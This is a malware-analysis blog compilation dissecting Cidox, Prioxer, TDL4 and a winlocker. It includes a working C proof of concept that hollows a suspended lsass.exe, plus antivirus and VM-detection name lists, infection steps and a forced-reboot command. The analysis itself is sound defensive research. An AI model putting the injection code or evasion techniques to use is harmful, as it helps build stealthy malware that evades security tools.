Studying Cidox


When I saw article from Xylitol's blog about Tracking Cyber Crime: Malwox (Win32/Cidox Affiliate) Mayachok.1, I asked my irc bot to scan each hour files dropped by this site to make some stats about repacking interval ( you can see a screenshot of statistics in next part).
It's cool to have a lot of samples but it's more funny to study them.



As you can see it is repacked approximately each 5 / 6 hours to avoid AV detections.
At the moment the bot is in beta test, and many logout occur every time I have to recompile it, so stats are approximate.


Here, I will not study packer, but just the method of infection which is not very interesting (and old school ?).

call    ds:GetCommandLineA
push    offset aChk     ; " /chk"
call    strcmp
pop     ecx
test    eax, eax
jz      short if_arg_not_chk
Finding this test was funny, if the unpacked executable found "/chk" on his command line argument, it will exit directly, maybe for testing their repack routine (~5hours).
If it don't find this argument, it will generate a random dll name using this routine :
void generate_name(void)
	char	SysPath[256];
	char	VolumeName[256];
	char	SystemName[256];
	char	DLLName[256] = {0};
	DWORD	SerialNumber;
	DWORD	MaxFileName;
	DWORD	SysFlags;
	int		i;
	unsigned int		a;

	GetSystemDirectoryA(SysPath, 256);
	GetVolumeInformationA("c:\\", VolumeName, 256, &SerialNumber, &MaxFileName, &SysFlags, SystemName, 256);
	for (i = 0; i < 8; i++)
		SerialNumber *= 0xD;
		SerialNumber += 0x12D687;
		SerialNumber = _byteswap_ulong(SerialNumber);
	for (i = 0; i < 7; i++)
		a = SerialNumber;
		SerialNumber /= 0x1A;
		DLLName[i] = a % 0x1A + 97;

For example :

SerialNumber = 1880116967
Dll name = avjemfc.dll

The dll is then decrypted using custom TEA Algorithm ( we will study it in next part ), and written into %SYSTEMROOT%/system32.
Next it sets into a registry key the AppInit_Dlls value which is the path to this dll, in order that each process using user32.dll will load this dll.
Before restarting your computer with ExitWindowsEx(), it will delete all files present into :

They use SHGetSpecialFolderPath() with csidl argument equal to CSIDL_COOKIES and CSIDL_INTERNET_CACHE to delete them.
Maybe for cleaning traces of infection.


As you can imagine the dll is also packed.

The DLLMain graph looks like this :


As you can see there are four branches depending of the fwdReason argument of DLLMain function.
The first one, DLL_PROCESS_ATTACH, will be called when the dll is loaded in each process using user32.dll ( AppInit_Dlls ).
This branch is just here for allocating memory, and unpacking the real stuff of the dll.
It just unpacks the dll, but it will not execute the unpacked code.
It will be executed when fwdReason == DLL_THREAD_ATTACH, so when the process uses CreateThread() for example.
The other branches are not interesting.
After unpacking this stuff, I was able to work with IDA without problem.
There are three branches of different execution flow based on the process name the dll is into :


They use an hashing algorithm, in order to test if they are in a browser process or not, and they do the same thing to detect vm processes and av names into program files folder.
So here is a complete test program to test all their hash table :

#include <stdio.h>

int hash_process_vm[] = { 0x99DD4432, 0x1F413C1F, 0x0B2CE5FDE, 0x3BFFF885, 0x64340DCE, 0x63C54474, 0 };
int hash_program_files[] = { 0x0F7C386B2, 0x9E46A936, 0x74B36500, 0x0B6E7E008, 0x65149B58, 0x1CE7528E,
							0x1A704388, 0x4C9EECB5, 0x0D3749631, 0x756ABC4D, 0x3E6A4D93,
							0x812EAFC4, 0x1433DC7E, 0x0C1364B22, 0x5BBE66BD, 0x4965900D,
							0x0E8406786, 0x62F204B9, 0x31A89D7B, 0x0E8AB39EA, 0x0C093AB43,
							0x983757A0, 0x0D5B274B0, 0x2B7F9687, 0x585834DD, 0x0A53C3B2D,
							0x1E519C8D, 0x28388EC6, 0x37A4DB47, 0x2AA1E9D7, 0x83B99225,
							0x6A057127, 0x0D119C72B, 0x5D614D4B, 0x5436485D, 0x45490640,
							0x0E38FAD29, 0 };

int hash_executable_name[] = {0x244CC8B2, 0x9DC03F1E, 0x66B49B77, 0x7207B507, 0x80D1F7CF, 0x37965AFA, 0x9006A423, 0};

char *process_name[] = {"\\IEXPLORE.EXE", "\\FIREFOX.EXE", "\\CHROME.EXE", "\\SAFARI.EXE",

char *av_program_files[] = {"AVIRA", "AV", "AntiVir", "Synaptics", "Avast", "Alwil Software", "AVG", 
							"BitDefender", "ByteHero", "clamAV", "Commtouch", "Comodo", "DrWeb", 
							"Emsisoft Anti-Malware", "eSafe", "eSafeMNG", "eTrust EZ Antivirus", "FSI",
							"FRISK Software", "F-Secure", "Fortinet", "G Data", "ikarus", "Jiangmin", 
							"k7 computing", "Kaspersky Lab", "McAfee", "ESET", "ESET NOD32 Antivirus", 
							"Norman", "Norton SystemWorks", "Panda Software", "Panda Security", 
							"PC Tools", "PREVX", "Rising", "RAV", "Sophos", "SUPERAntiSpyware", 
							"Symantec AntiVirus", "Symantec", "Trend Micro", "VBA32", "VIPRE", 
							"VIPRE Antivirus", "Sunbelt Software", "ViRobot", "VirusBuster", 0};

char *processvm_name[] = {"vmtoolsd.exe", "VMUpgradeHelper.exe", "TPAutoConnSvc.exe", "VMwareTray.exe", "VMwareUser.exe", 
							"vmacthlp.exe", 0 };

int cidox_hash_func(char *name)
	int sum = -1, i, is;
	int actual_chr;

	while (*name)
		actual_chr = *name;
		if (actual_chr >= 0x41 && actual_chr <= 0x5a)
			actual_chr += 0x20;
		sum = actual_chr ^ sum;
		for (i = 0; i < 8; i++)
			is = sum & 0x1;
			sum = (unsigned int)sum >> 1;
			if (is)
				sum ^= 0xEDB88320;
	return (~sum);

int is_in_list_hash(int *list_hash, int hash)
	while (*list_hash)
		if (*list_hash == hash)
			return (1);
	return (0);

int length_list_hash(int *list_hash)
	int	nb = 0;

	while (*list_hash)
	return (nb);

void check(char **list_to_check, int *list_hash, int (*generate_hash)(char *name), char *wat)
	int		hash;
	int		len_list = 0;
	int		found = 0;
	printf("\t[+] Now checking .: %s :.\n\n", wat);
	len_list = length_list_hash(list_hash);
	while (*list_to_check)
		hash = generate_hash(*list_to_check);
		if (is_in_list_hash(list_hash, hash))
			printf("%s\t\tis present with Hash ( 0x%08x )\n", *list_to_check, hash);
	printf("\n\t[+] Result .: %d Found / %d Total (%d%%) :.\n\n", found, len_list, (found * 100 / len_list * 100) / 100); 

void launch_check()
	check(process_name, hash_executable_name, cidox_hash_func, "\"Process Name\"");
	check(av_program_files, hash_program_files, cidox_hash_func, "\"AV Program Files\"");
	check(processvm_name, hash_process_vm, cidox_hash_func, "\"Process VM Name\"");

Here is an output from the program to test which browser was in this table :

\IEXPLORE.EXE           is present with Hash ( 0x244cc8b2 )
\FIREFOX.EXE            is present with Hash ( 0x9dc03f1e )
\CHROME.EXE             is present with Hash ( 0x66b49b77 )
\SAFARI.EXE             is present with Hash ( 0x7207b507 )
\OPERA.EXE              is present with Hash ( 0x80d1f7cf )
\SVCHOST.EXE            is present with Hash ( 0x9006a423 )

As you can see, I just found 6 process name on the 7 hash, so if you have some idea, you can leave me a comment :], but it's not very important.
The main thing this dll does is hooking several functions from ws2_32.dll :

Theses hooks are setup for redirecting you on phising website when you go on :

Each time your browser window name changes, it will try to contact their command and control server (C&C), to update an interesting configuration file, that you can find into : "C:Documents and SettingsAll UsersApplication Data" under the name "cf".
At the end of this post you can find a toolz to decrypt this configuration file :


My toolz is written in assembly language, so for those who are not familiar with this language, here is their custom TEA algo :

int fEKey[4] = {0xB440b08B, 0xACFA7304, 0x9FCAEAEA, 0x1546b9A5};

void TeaDecipher(unsigned int* buf) 
    unsigned int second, first; 
	unsigned int key = 0xC6EF3720;

	second = _byteswap_ulong(buf[1]);
	first = _byteswap_ulong(buf[0]);

    for (int i = 0; i < 32; i++) 
        second -= (((first >> 5) ^ (first << 4)) + first)
                ^ (fEKey[(key >> 11) & 3] + key);
        key += 0x61C88647;
        first -= (((second >> 5) ^ (second << 4)) + second)
               ^ (fEKey[key & 3] + key);

	second = _byteswap_ulong(second);
	first = _byteswap_ulong(first);

    buf[0] = first ^ buf[-2];
    buf[1] = second ^ buf[-1];

void decy(unsigned char *buf, int size)
	int i;

	for (i = size / 4; i > 0; i -= 2)
		TeaDecipher((unsigned int*)(buf + i * 4));

When the dll is inside a svchost process, the infection remains persistant, by checking if the configuration file exist, or if AppInits_DLL is set ; but they failed on one thing, the dll file, for desinfecting your pc you have just to rename the dll (my toolz checks if you are infected too and generate for you the name of the dll), and reboot your computer ( not my toolz ;) ).

A last thing that I wasn't able to study is the fact that some times, command and control drops a new executable, and createprocess() after decyphering it.
But it didn't drop me this PE, its name is "ru", because I saw his name when it try to write it at location : "C:\Documents and Settings\All Users\Application Data".



Link Source.rar.


This version of Cidox was not very interesting, 6 months ago, they used VBR infection and dropped a driver, maybe I will study this version soon for having more fun :].


New method of injection


I disovered a new method of injection (I don't know if it is really new) in a malware dropped by duqu.
So I want to share it with you and as usual write a p0c.
Edit : This method is not new, apparently it have been using by game cheats for years, but instead of using ZwUnmapViewOfSection they use FreeLibrary.

Injection Method

The malware in question is simply a keylogger, but it uses a nice tricks for injecting into another process.
First it will create (as usual) a suspended lsass.exe process via CreateProcess().
Then it will gather process information via ZwQueryInformationProcess(), especially PebBaseAddress.
But what can he do with this address, if we look at PEB struct :

>dt nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void

It will get the ImageBaseAddress at offset 0x8, by reading it with ReadProcessMemory().
First it create a section with ZwCreateSection(), then it will in the actual process (not in lsass.exe supended), ZwMapViewOfSection() with argument BaseAdress equal to 0, copy old lsass.exe PE image and modify entry point, he will do the same operation on lsass.exe process but with BaseAdress equal to BaseImage, but wait ! if we read the documentation of ZwMapViewOfSection, we will get a NTSTATUS equal to STATUS_CONFLICTING_ADDRESSES, and the answer is no, because before the second ZwMapViewOfSection, it will perform ZwUnmapViewOfSection() with BaseAddress equal to ImageBaseAddress on lsass.exe process.
And if you wonder : "Wait what !? is it possible ?", and the answer is yes.
With this tricks the malware is able to replace ALL the PE image of the suspended process.


So I decided to rewrite this tricks, to well understand the stuff done by the malware ( maybe you will better understand what I explained before ).
Tested under Windows XP SP3, and Windows Seven SP1 (32 bits).

Main.c :

#include "main.h"

int get_entrypoint(char *read_proc)

	idh = (IMAGE_DOS_HEADER*)read_proc;
	inh = (IMAGE_NT_HEADERS *)((BYTE*)read_proc + idh->e_lfanew);
	printf("Entrypoint = %x\n", inh->OptionalHeader.AddressOfEntryPoint);
	return (inh->OptionalHeader.AddressOfEntryPoint);

int main(void)
	char path_lsass[260];
	DWORD nb_read;
	DWORD ImageBase;
	HANDLE hsect;
	PVOID BaseAddress = NULL;
	PVOID BaseAddress2 = NULL;
	DWORD oep;

	memset(&si, 0, sizeof(STARTUPINFO));
    	si.cb = sizeof(STARTUPINFO);
    	memset(&pi, 0, sizeof(PROCESS_INFORMATION));
	memset(&pbi, 0, sizeof(PROCESS_BASIC_INFORMATION));
	ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\lsass.exe", (LPWSTR)path_lsass, 260);
	wprintf(L"[+] New Path for lsasse.exe = %s\n", path_lsass);
	if (!CreateProcess((LPWSTR)path_lsass, NULL, NULL, NULL, NULL,
					NULL, NULL, &si, &pi))
		printf("[-] CreateProcessW failed\n");
		printf("LatError = %x\n", GetLastError());
		return (-1);

	ZwQueryInformationProcess = (long (__stdcall *)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA("ntdll"),"ZwQueryInformationProcess");
	ZwMapViewOfSection = (long (__stdcall *)(HANDLE,HANDLE,PVOID *,ULONG_PTR,SIZE_T,PLARGE_INTEGER,PSIZE_T,DWORD,ULONG,ULONG))GetProcAddress(GetModuleHandleA("ntdll"),"ZwMapViewOfSection");
	ZwUnmapViewOfSection = (long (__stdcall *)(HANDLE, PVOID))GetProcAddress(GetModuleHandleA("ntdll"),"ZwUnmapViewOfSection");
	ZwCreateSection = (long (__stdcall *)(PHANDLE,ACCESS_MASK,PDWORD,PLARGE_INTEGER,ULONG,ULONG,HANDLE))GetProcAddress(GetModuleHandleA("ntdll"),"ZwCreateSection");

	if (ZwMapViewOfSection == NULL || ZwQueryInformationProcess == NULL || ZwUnmapViewOfSection == NULL || ZwCreateSection == NULL)
		printf("[-] GetProcAddress failed\n");
		return (-1);

	if (ZwQueryInformationProcess(pi.hProcess, 0, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL) != 0)
		printf("[-] ZwQueryInformation failed\n");
		return (-1);

	printf("[+] UniqueProcessID = 0x%x\n", pbi.UniqueProcessId);

	if (!ReadProcessMemory(pi.hProcess, (BYTE*)pbi.PebBaseAddress + 8, &ImageBase, 4, &nb_read) && nb_read != 4)
		printf("[-] ReadProcessMemory failed\n");
		return (-1);

	printf("[+] ImageBase = 0x%x\n", ImageBase);

	char read_proc[0x6000];

	if (!ReadProcessMemory(pi.hProcess, (LPCVOID)ImageBase, read_proc, 0x6000, &nb_read) && nb_read != 0x6000)
		printf("[-] ReadProcessMemory failed\n");
		return (-1);

	printf("(dbg) Two first bytes : %c%c\n", read_proc[0], read_proc[1]);
	oep = get_entrypoint(read_proc);

	a.HighPart = 0;
	a.LowPart = 0x8EF6;

		printf("[-] ZwCreateSection failed\n");
		printf("[-] NTSTATUS = %x\n", stat);
		return (-1);
	SIZE_T size;
	size = 0x8000;

	BaseAddress = (PVOID)0;
	if ((stat = ZwMapViewOfSection(hsect, GetCurrentProcess(), &BaseAddress, NULL, NULL, NULL, &size, 1 /* ViewShare */, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
		printf("[-] ZwMapViewOfSection failed\n");
		printf("[-] NTSTATUS = %x\n", stat);
		return (-1);
	memset((BYTE*)read_proc + oep, 0xCC, 1);
	memcpy(BaseAddress, read_proc, 0x2000);
	BaseAddress = (PVOID)ImageBase;
	printf("BaseAddress = %x\n", BaseAddress);

	ZwUnmapViewOfSection(pi.hProcess, BaseAddress);

	if ((stat = ZwMapViewOfSection(hsect, pi.hProcess, &BaseAddress, NULL, NULL, NULL, &size, 1 /* ViewShare */, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
		printf("[-] ZwMapViewOfSection failed\n");
		printf("[-] NTSTATUS = %x\n", stat);
		return (-1);
	printf("BaseAddress = %x\n", BaseAddress);

	return (0);

And the include file :

#include <stdio.h>
#include <Windows.h>

#if !defined NTSTATUS



#if !defined PPEB
typedef struct _PEB *PPEB;

    PVOID Reserved1;
    PPEB PebBaseAddress;
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;
    PVOID Reserved3;

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;

typedef struct _OBJECT_ATTRIBUTES {
  ULONG Length;
  HANDLE RootDirectory;
  ULONG Attributes;
  PVOID SecurityDescriptor;
  PVOID SecurityQualityOfService;


NTSTATUS (__stdcall *ZwQueryInformationProcess)(
  HANDLE  ProcessHandle,
  PROCESSINFOCLASS  ProcessInformationClass,
  PVOID  ProcessInformation,
  ULONG  ProcessInformationLength,
  PULONG  ReturnLength  OPTIONAL

NTSTATUS (__stdcall *ZwCreateSection)(
     PHANDLE  SectionHandle,
     ACCESS_MASK  DesiredAccess,
     PDWORD  ObjectAttributes OPTIONAL,
     ULONG  SectionPageProtection,
     ULONG  AllocationAttributes,
     HANDLE  FileHandle OPTIONAL

NTSTATUS (__stdcall *ZwMapViewOfSection) (
HANDLE SectionHandle,
HANDLE ProcessHandle,
OUT PVOID *BaseAddress,
SIZE_T CommitSize,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect

NTSTATUS (__stdcall *ZwUnmapViewOfSection)(
	HANDLE ProcessHandle,
	PVOID BaseAddress

So for the p0c i just put a INT3 at entry point of lsass.exe, and here the result :



This method is really fun because it don't use SetThreadContext(), for updating eip before resuming thread execution.




An (IRC) friend Horgh told me : "Why not study prioxer, it could be fun ?".
But what is prioxer ?
It's simply a backdoor Trojan, wich has a dropper with his own parser for NTFS and FAT format.
That's why it's fun :], it was a cool way to study approximately how can work NTFS File System.


First I looked around for finding a sample ( 31 / 42 ) :

MD5   : 7e3903944eab7b61b495572baa60fb72
SHA1  : 116930517baab6bdb0829990a43af54d155f5332
SHA256: 06e921abf28c4b260c59d61d84a74c3a5dc12ac99a34110ca5480ce61689385c
The thing it will do is to infect the dll "dhcpcsvc.dll" ( we will see after what the purpose of the infection ).


(This is not a tutorial about NTFS, it's just result af all the stuff reversed from prioxer, i wanted to have fun with IDA, and take some challenge by not looking too much documentation or source code like ntfs-3g, so if there is some mistake please refer to your friend google for more about NTFS).
But it will not directly open an handle (CreateFile())on this file which is located in "%SYSTEMROOT%/System32/".
It will open an handle on your current hard disk driver( like C: ).
So here is a schem about how it works :


The first thing, we must know on NTFS : all data stored on a volume is contained in file, including data structures used to locate and retrieve files.
A NTFS Volume, will start every time, with a data structures, named NTFS Volume Boot Record, she is here for gathering a maximum of information about the volume, like Number Of Sector, or Bytes Per Sector, ... etc ...
Then with thoses informations, we can access the MFT (Master File Table) which is the heart of the NTFS, it is implemented as an array of file records.
Shel will contain one record, for each file on the volume including a record for the MFT itself.
I will not describe all these files, but a special one : Root directory (also known as "\" or "$I30"). This file record contains an index of the files and directories stored in the root of the NTFS directory structure.
You have understood that prioxer will use this File Record :].
But ! if you look at my schem, we know Root_Directory is the fifth entry in the array of file_record, and i don't know why they do that but they compute the offset to read this file_record with values found in in $DATA Attributes from MFT, why they don't compute the offset in this simply way :

MFT_Addr + sizeof(FILE_ENTRY) * 5.
Anyway, it's not important :], we continue your investigation.
The thing to know is, that every FILE_RECORD has a list of attributes : (especially those)
And a new schem, how the mecanism work (I simplified things):


A directory, is simply an index of file names (along with their file references), organized like a b-tree.
VCN is Virtual Cluster Numbers, a vnc is a linked value to LCN (Logical Cluster Numbers) wich allow to read, write directly on the hardware disk.
So, in your case prioxer will travel the root_directory, look for WINDOWS directory node, then travel "Windows" node, and get "SYSTEM32" node, and get dhcpcsvc.dll.
And he is able now to read, write (with ReadFile() and WriteFile() API) directly to VCNs of this file.
I will not explain more about NTFS, First I'm not familiar with this FileSystem (new for me), and working almost with IDA took me about 2 ~ 3 evenings to well understand how prioxer work.
Next time, I will read some docs :], it will be easier.
Ho by the way i wrote some shit for parsing only my root directory :

FileSystemName = NTFS
[+] Some information about NTFS BPB
        Sector Size = 512
        Sector Per Cluster = 8
        Reserved Sectors = 0
        Media Descriptor ID = 248
        Sector Per Track = 56
        Number Of Heads = 255
        Hidden Sectors = 56
        TotalSectors = 41926023
        Starting Cluster Number for the $MFT = 786432
        Starting Cluster Number for the $MFTMirror = 2620376
        Clusters Per File Record = 246
        Clusters Per Index Block = 1
        Volume Serial Number =
[+] End Information about NTFS BPB

[+] (dbg) Sector Size = 512 bytes
[+] (dbg) Cluster Size = 4096 bytes
[+] (dbg) FileRecord Size = 1024 bytes
Size = 0
[+] (dbg) OffsetOfAttr = 38
[+] Information about actual ATTRIBUTE
        ATTR_TYPE = 10
                Value Length = 30
                CreateTime = 2d458880
[+] Information about actual ATTRIBUTE
        ATTR_TYPE = 30
                Value Length = 44
                ParentRef = 5
                AllocSize = 0
                RealSize = 0
[+] Information about actual ATTRIBUTE
        ATTR_TYPE = 50
[+] Information about actual ATTRIBUTE
        ATTR_TYPE = 90
                NameLength = 4
                NameOffset = 18
                Name = $I30
                Attr_type = 30
                EntryOffset = 10
                TotalEntrySize = 28
                AllocEntrySize = 28
                Flags = 1
                FileReference = 0
                Size = 18
                StreamSize = 0
                Flags = 3
                        -- INDEX ENTRY --
                        FileReference = 0
                        Size = 18
                        StreamSize = 0
                        Flags = 3
                        SUB NODE !
                        GetSubNodeVCN = 0
                        [+]STREAM OK ... Name : $AttrDef
                        [+]STREAM OK ... Name : $BadClus
                        [+]STREAM OK ... Name : $Bitmap
                        [+]STREAM OK ... Name : $Boot
                        [+]STREAM OK ... Name : $Extend
                        [+]STREAM OK ... Name : $LogFile
                        [+]STREAM OK ... Name : $MFT
                        [+]STREAM OK ... Name : $MFTMirr
                        [+]STREAM OK ... Name : $Secure
                        [+]STREAM OK ... Name : $UpCase
                        [+]STREAM OK ... Name : $Volume
                        [+]STREAM OK ... Name : .
                        [+]STREAM OK ... Name : AUTOEXEC.BAT
                        [+]STREAM OK ... Name : boot.ini
                        [+]STREAM OK ... Name : Bootfont.bin
                        [+]STREAM OK ... Name : CONFIG.SYS
                        [+]STREAM OK ... Name : Documents and Settings
                        [+]STREAM OK ... Name : DOCUME~1
                        [+]STREAM OK ... Name : IO.SYS
                        [+]STREAM OK ... Name : MSDOS.SYS
                        [+]STREAM OK ... Name : NTDETECT.COM
                        [+]STREAM OK ... Name : ntldr
                        [+]STREAM OK ... Name : pagefile.sys
                        [+]STREAM OK ... Name : Program Files
                        [+]STREAM OK ... Name : PROGRA~1
                        [+]STREAM OK ... Name : RECYCLER
                        [+]STREAM OK ... Name : System Volume Information
                        [+]STREAM OK ... Name : SYSTEM~1
                        [+]STREAM OK ... Name : Toolz
                        [+]STREAM OK ... Name : WINDOWS
                        Last Index Entry
                        -- END INDEX ENTRY --
                        LAST INDEX !!!
[+] Information about actual ATTRIBUTE
        ATTR_TYPE = a0
[+] Information about actual ATTRIBUTE
        ATTR_TYPE = b0
And here is the source code :


Ok so now we know that prioxer will do some shit with this file, but what !?
So prioxer will change the offset value, of "ServiceMain" exported function :
And put some code in .text section located at ServiceMain changed offset :
.text:7D4EC895                 public ServiceMain
.text:7D4EC895 ServiceMain     proc near               ; DATA XREF: .text:off_7D4D1FCCo
.text:7D4EC895                 inc     ecx
.text:7D4EC896                 dec     ecx
.text:7D4EC897                 add     eax, 0
.text:7D4EC89A                 add     edi, 0
.text:7D4EC89D                 or      eax, 0
.text:7D4EC8A0                 pusha
.text:7D4EC8A1                 inc     edi
.text:7D4EC8A2                 dec     edi
.text:7D4EC8A3                 push    'll'
.text:7D4EC8A8                 inc     eax
.text:7D4EC8A9                 dec     eax
.text:7D4EC8AA                 push    'd.3i'
.text:7D4EC8AF                 xor     ebx, 0
.text:7D4EC8B2                 push    'patc'
.text:7D4EC8B7                 mov     edx, edx
.text:7D4EC8B9                 push    esp             ; lpLibFileName
.text:7D4EC8BA                 or      esi, 0
.text:7D4EC8BD                 call    ds:__imp__LoadLibraryA@4 ; LoadLibraryA(x)
.text:7D4EC8C3                 xor     ebx, 0
.text:7D4EC8C6                 pop     eax
.text:7D4EC8C7                 push    eax
.text:7D4EC8C8                 pop     eax
.text:7D4EC8C9                 pop     eax
.text:7D4EC8CA                 inc     edx
.text:7D4EC8CB                 dec     edx
.text:7D4EC8CC                 pop     eax
.text:7D4EC8CD                 mov     esi, esi
.text:7D4EC8CF                 popa
.text:7D4EC8D0                 add     esi, 0
.text:7D4EC8D3                 mov     eax, offset _ServiceMain@8 ; ServiceMain(x,x)
.text:7D4EC8D8                 mov     ecx, ecx
.text:7D4EC8DA                 jmp     eax
.text:7D4EC8DA ServiceMain     endp

The snippet of code, will simply load a library with a random name in our case "ctapi3.dll", dropped by prioxer and then jump to the real address of ServiceMain.
I will not study this dll (you can find her into ressource, directly), it simply a botnet component that can exchange commands and data over IRC with a command-and-control.
Then it write a .bat file, and execute it for deleting the dropper.
The only interesting thing was the infection method via a NTFS parser, and infect a windows dll, wihch will be load each time you want to use DHCP.
Another interesting fact is a side effect of this technics, you can find a dllcache directory in %SYSTEMROOT%, NTFS maintains it for some often used system files.
That's why if you are infected by this trojan, you won't be able to see the difference on dhcpsvc.dll, but a tools like gmer with his own ntfs parser can do it, or if you reboot your computer, you will be able to see it, and your AV too.


Big thanks to Horgh for the idea of prioxer, what is next target ?


Some news, TDL4, IDA


I received several mail asking me, if I was still active on my blog.
And the answer is YES!, i'm just (very) busy by my internship, and some personal projetcs.
So today I give you some news.


I'm sorry for my english readers (if there are), but my draft article about all reverse stuff from tdl4 is written in French. But you can use Google Translate !
So here is the link to the article.
Be careful this is an oldschool version ( 0.3 ), I'm currently studying new version.

TDL4 (New version)

And we will start with a tricks for detecting Virtual Machine, apparently the new loader do this check, instead of the loader from my article.
Maybe for you it will not be new, but for me it is, I'm a beginner in malware analysis.
It will use WQL language to query Windows Management Instrumentation.
I will not bore you with disassembly code, but with a picture, that will show you a little script that I wrote for defeating unicode string obfuscation :


And source code of idc script (I'm maybe doing it wrong, but it's my first) :

#include <idc.idc>

static String(ea)
    auto s,b,i;
    s = ""; 
	i = 0;
    while(i < 2) 
		b = Byte(ea);
		if (b)
			s = s + form("%c", b);
			ea = ea + 2;
    return s; 

static main()
	auto ea;
	auto op;
	auto str;
	auto s;
	ea = SelStart();
	str = "";
	while (ea < SelEnd())
		if(GetMnem(ea) != "mov")
		if (GetOpType(ea, 1) == 1)
		s = String(ea + 7);
		str = str + s;
		ea = FindCode(ea, SEARCH_DOWN | SEARCH_NEXT);
	Message("%s\n", str);

So with this script I was able to see all this interesting stuff :

Red Hat
Virtual HDVBOX
SELECT * FROM %s WHERE %s LIKE "%%%s%%"
SELECT * FROM %s WHERE %s = "%s"
First it will gather all the information about your pc and send this to a C&C.
And after for example, it will check if in process list there is "CaptureClient.exe", or execute the request "SELECT * FROM Win32_DiskDevice WHERE Manufacturer = "VMware", etc...
This is how they can detect that you are in virtualized or emulated environment.
I didn't know how WQL work, so I decided to develop someshit :
#include <windows.h>
#include <objbase.h>
#include <atlbase.h>
#include <iostream>
#include <wbemidl.h>
#include <comutil.h>

int main(void)
	if (hr < 0)
		std::cerr << "[-] COM initialization failed" << std::endl;
		return (-1);

	hr = CoInitializeSecurity(NULL, -1, NULL, NULL,
								NULL );
	if (hr < 0)
		std::cerr << "[-] Security initialization failed" << std::endl;
		return (-1);

	CComPtr<IWbemLocator> locator;
	hr = CoCreateInstance(CLSID_WbemAdministrativeLocator, NULL,
							IID_IWbemLocator, reinterpret_cast< void** >( &locator ));
	if (hr < 0)
		std::cerr << "[-] Instantiation of IWbemLocator failed" << std::endl;
		return (-1);
	CComPtr<IWbemServices> service;
	hr = locator->ConnectServer(L"root\\cimv2", NULL, NULL, NULL,

	CComPtr< IEnumWbemClassObject > enumerator;
	hr = service->ExecQuery( L"WQL", L"SELECT * FROM Win32_Process", WBEM_FLAG_FORWARD_ONLY, NULL, &enumerator );
	//hr = service->ExecQuery( L"WQL", L"SELECT * FROM Win32_DiskDrive WHERE Model LIKE \"%VMware%\"", WBEM_FLAG_FORWARD_ONLY, NULL, &enumerator );
	if (hr < 0)
		std::cerr << "[-] ExecQuey() Failed" << std::endl;
		return (-1);
	CComPtr< IWbemClassObject > processor = NULL;
	ULONG retcnt;
	hr = enumerator->Next(WBEM_INFINITE, 1L, reinterpret_cast<IWbemClassObject**>( &processor ), &retcnt);
	while ( SUCCEEDED(hr) && retcnt > 0) 
		if ( retcnt > 0 )
				_variant_t var_val;
				hr = processor->Get( L"Name", 0, &var_val, NULL, NULL );
				if (hr >= 0)
						_bstr_t str = var_val;
						std::cout << "[+] Name: " << str << std::endl;
						std::cerr << "[-] IWbemClassObject::Get failed" << std::endl;
						//result = -1;
                hr = enumerator->Next( WBEM_INFINITE, 1L, reinterpret_cast<IWbemClassObject**>( &processor ), &retcnt );
			std::cout << "[-] Enumeration empty" << std::endl;

That's all for today :].




Tout droit revenu d'un entretien pour un stage, et oui je ne suis encore qu'un étudiant, je m'empresse de revenir à mes activités de reverse de vx.
Je fais un billet sur ce que j'ai reverse car j'ai utilisé une technique (EBFE tricks )tout droit sorti du grenier.
Technique utilisé pour vaincre safedisc v1 et 2, si je dis pas de bêtises. Je l'avais utilisé pour Sim City 3000 ;).

La cible

> md5sum porno-rolik12.avi.exe
726537d1ea6b871a2db9b0a3e2098ce7  porno-rolik12.avi.exe

> sha1sum porno-rolik12.avi.exe
79458bdc8bc60faf5198b9b60f2c2657b4f5c3a8  porno-rolik12.avi.exe

> sha256sum porno-rolik12.avi.exe
6f91c648ee422571225a1839395118c2ac706ac83c7d0bc64e491e75e8c08bf1  porno-rolik12.avi.exe

Un winlocker plus ou moins original où j'ai dû déjouer certaines choses :


Il m'informe que si je veux supprimer leur widget je dois envoyer au compte beeline 9099416525 un montant de 500 USD.

First stage, First failed

On ouvre la bête avec Olly et là c'est le drame, on tombe sur un crypter en VB, sérieusement le vb à reverse c'est juste chiant ( voir même de la merde ).
La personne qui a inventé ce langage j'ai tout simplement envie de la tuer, car sur le marché un paquet de crypter sont écrits en vb et c'est à la porté de tout le monde de le faire.

Les mecs qui ont codés ce WinLocker doivent être juste idiot :

HKU\S-1-5-21-1004336348-1580436667-1708537768-1003\Software\Microsoft\Windows\CurrentVersion\Run\711527436: "C:\Documents and Settings\analys\711527436.exe"

C:\Documents and Settings\analys\711527436.exe

Après avoir copié le réel Winlocker, et changer la clef de registre pour se start au démarrage, ils font un appel à ShellExecuteW pour lancer "shutdown /r /f /t 3" :


Nous avons exactement 3 secondes pour ouvrir une invite de commande et taper "shutdown -a" pour annuler la mise hors tension.
Nous sommes donc maitenant en mesure de travailler avec le réel WinLocker.


Dans un précédent billet, je parlais d'injection dans des processus, ici c'est la même, sauf qu'au lieu de passer par kernel32, il passe direct pas ntdll, du coup il use ZwWriteVirtualMemory, ZwSetContextThread ... :


Une fois le thread du processus resume, ces saguouins font appel à SystemParametersInfo, afin de bloquer la souris au sein de la fenetre du ransomware, faire semblant qu'on est dans un screensaver, du coup pas de Alt-Tab, ni Ctrl-Alt-Suppr possible.

p0wn stage 2

Il nous faut trouver un moyen pour essayer de prendre la main sur le processus dans lequel le processus actuel injecte du code, mais qui dit code injecté dit code qu'on peut modifier.
On va donc modifier le buffer et écrire notre propre code en breakant sur ZwWriteProcessMemory.
C'est là qu'arrive 2 instructions qui vont nous être bien utiles :

> rasm2 -d EBFE
jmp 0x8048000
> rasm2 -d CC

Il faut trouver l'endroit (EIP), où le thread va reprendre son éxécution, un bp sur ZwSetContextThread, et regarder ce qu'il y a dans la structure CONTEXT :


